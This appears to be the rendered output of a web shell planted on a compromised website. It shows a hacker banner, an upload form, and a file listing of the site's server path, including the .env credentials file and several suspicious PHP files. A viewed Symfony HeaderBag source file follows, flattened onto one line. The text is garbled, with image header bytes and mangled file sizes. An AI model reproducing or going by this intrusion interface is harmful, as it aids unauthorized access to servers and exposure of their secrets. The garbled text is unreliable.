ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/stechedu/htdocs/stechedu.com

upload file:

List of files:

name file size edit permission action
.editorconfig258 KBAugust 13 2024 21:03:020770
.env1340 KBNovember 09 2024 13:13:000770
.env.example1213 KBAugust 13 2024 21:03:020770
.gitattributes186 KBAugust 13 2024 21:03:020770
.htaccess466 KBAugust 13 2024 21:03:020770
.well-known-July 10 2025 23:46:460750
11.php70548 KBJuly 01 2025 20:07:370644
Modules-November 04 2024 11:42:060755
README.md80 KBAugust 13 2024 21:03:020770
admin-link.php17837 KBJuly 21 2025 17:21:090644
app-November 04 2024 11:42:060755
artisan1686 KBAugust 13 2024 21:03:020770
aws.php188721 KBJuly 21 2025 17:21:090644
bootstrap-November 04 2024 11:38:260777
composer.json2932 KBSeptember 19 2024 12:33:020770
composer.lock415525 KBSeptember 19 2024 12:33:020770
config-July 02 2025 03:17:170777
database-November 04 2024 11:42:060777
index.php13824 KBJuly 02 2025 01:57:550770
ktq.txt1 KBJuly 02 2025 01:58:010644
lang-November 04 2024 11:38:260777
main.php302 KBJuly 05 2025 04:22:240644
modules_statuses.json775 KBAugust 26 2024 12:34:260770
package-lock.json72682 KBNovember 09 2024 12:47:510770
package.json481 KBAugust 13 2024 21:03:020770
phpunit.xml1084 KBAugust 13 2024 21:03:020770
postcss.config.js93 KBAugust 13 2024 21:03:020770
public-July 12 2025 06:01:050777
resources-November 04 2024 11:42:070755
robots.txt986 KBJuly 23 2025 16:58:180644
routes-November 04 2024 11:38:260777
server.php541 KBAugust 13 2024 21:03:040770
ss.php17569 KBJuly 02 2025 03:06:060644
storage-November 04 2024 11:42:080755
tailwind.config.js541 KBAugust 13 2024 21:03:040770
tests-November 04 2024 11:42:080777
tmp.zip3878 KBJuly 21 2025 17:21:090644
vendor-November 04 2024 11:42:120777
version.json26 KBOctober 15 2024 18:29:320770
vite-module-loader.js1397 KBAugust 13 2024 21:03:060770
vite.config.js310 KBAugust 13 2024 21:03:060770
* * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * HeaderBag is a container for HTTP headers. * * @author Fabien Potencier * * @implements \IteratorAggregate> */ class HeaderBag implements \IteratorAggregate, \Countable, \Stringable { protected const UPPER = '_ABCDEFGHIJKLMNOPQRSTUVWXYZ'; protected const LOWER = '-abcdefghijklmnopqrstuvwxyz'; /** * @var array> */ protected $headers = []; protected $cacheControl = []; public function __construct(array $headers = []) { foreach ($headers as $key => $values) { $this->set($key, $values); } } /** * Returns the headers as a string. */ public function __toString(): string { if (!$headers = $this->all()) { return ''; } ksort($headers); $max = max(array_map('strlen', array_keys($headers))) + 1; $content = ''; foreach ($headers as $name => $values) { $name = ucwords($name, '-'); foreach ($values as $value) { $content .= sprintf("%-{$max}s %s\r\n", $name.':', $value); } } return $content; } /** * Returns the headers. * * @param string|null $key The name of the headers to return or null to get them all * * @return ($key is null ? array> : list) */ public function all(?string $key = null): array { if (null !== $key) { return $this->headers[strtr($key, self::UPPER, self::LOWER)] ?? []; } return $this->headers; } /** * Returns the parameter keys. * * @return string[] */ public function keys(): array { return array_keys($this->all()); } /** * Replaces the current HTTP headers by a new set. * * @return void */ public function replace(array $headers = []) { $this->headers = []; $this->add($headers); } /** * Adds new headers the current HTTP headers set. * * @return void */ public function add(array $headers) { foreach ($headers as $key => $values) { $this->set($key, $values); } } /** * Returns the first header by name or the default one. */ public function get(string $key, ?string $default = null): ?string { $headers = $this->all($key); if (!$headers) { return $default; } if (null === $headers[0]) { return null; } return (string) $headers[0]; } /** * Sets a header by name. * * @param string|string[]|null $values The value or an array of values * @param bool $replace Whether to replace the actual value or not (true by default) * * @return void */ public function set(string $key, string|array|null $values, bool $replace = true) { $key = strtr($key, self::UPPER, self::LOWER); if (\is_array($values)) { $values = array_values($values); if (true === $replace || !isset($this->headers[$key])) { $this->headers[$key] = $values; } else { $this->headers[$key] = array_merge($this->headers[$key], $values); } } else { if (true === $replace || !isset($this->headers[$key])) { $this->headers[$key] = [$values]; } else { $this->headers[$key][] = $values; } } if ('cache-control' === $key) { $this->cacheControl = $this->parseCacheControl(implode(', ', $this->headers[$key])); } } /** * Returns true if the HTTP header is defined. */ public function has(string $key): bool { return \array_key_exists(strtr($key, self::UPPER, self::LOWER), $this->all()); } /** * Returns true if the given HTTP header contains the given value. */ public function contains(string $key, string $value): bool { return \in_array($value, $this->all($key)); } /** * Removes a header. * * @return void */ public function remove(string $key) { $key = strtr($key, self::UPPER, self::LOWER); unset($this->headers[$key]); if ('cache-control' === $key) { $this->cacheControl = []; } } /** * Returns the HTTP header value converted to a date. * * @return \DateTimeImmutable|null * * @throws \RuntimeException When the HTTP header is not parseable */ public function getDate(string $key, ?\DateTimeInterface $default = null): ?\DateTimeInterface { if (null === $value = $this->get($key)) { return null !== $default ? \DateTimeImmutable::createFromInterface($default) : null; } if (false === $date = \DateTimeImmutable::createFromFormat(\DATE_RFC2822, $value)) { throw new \RuntimeException(sprintf('The "%s" HTTP header is not parseable (%s).', $key, $value)); } return $date; } /** * Adds a custom Cache-Control directive. * * @return void */ public function addCacheControlDirective(string $key, bool|string $value = true) { $this->cacheControl[$key] = $value; $this->set('Cache-Control', $this->getCacheControlHeader()); } /** * Returns true if the Cache-Control directive is defined. */ public function hasCacheControlDirective(string $key): bool { return \array_key_exists($key, $this->cacheControl); } /** * Returns a Cache-Control directive value by name. */ public function getCacheControlDirective(string $key): bool|string|null { return $this->cacheControl[$key] ?? null; } /** * Removes a Cache-Control directive. * * @return void */ public function removeCacheControlDirective(string $key) { unset($this->cacheControl[$key]); $this->set('Cache-Control', $this->getCacheControlHeader()); } /** * Returns an iterator for headers. * * @return \ArrayIterator> */ public function getIterator(): \ArrayIterator { return new \ArrayIterator($this->headers); } /** * Returns the number of headers. */ public function count(): int { return \count($this->headers); } /** * @return string */ protected function getCacheControlHeader() { ksort($this->cacheControl); return HeaderUtils::toString($this->cacheControl, ','); } /** * Parses a Cache-Control HTTP header. */ protected function parseCacheControl(string $header): array { $parts = HeaderUtils::split($header, ',='); return HeaderUtils::combine($parts); } }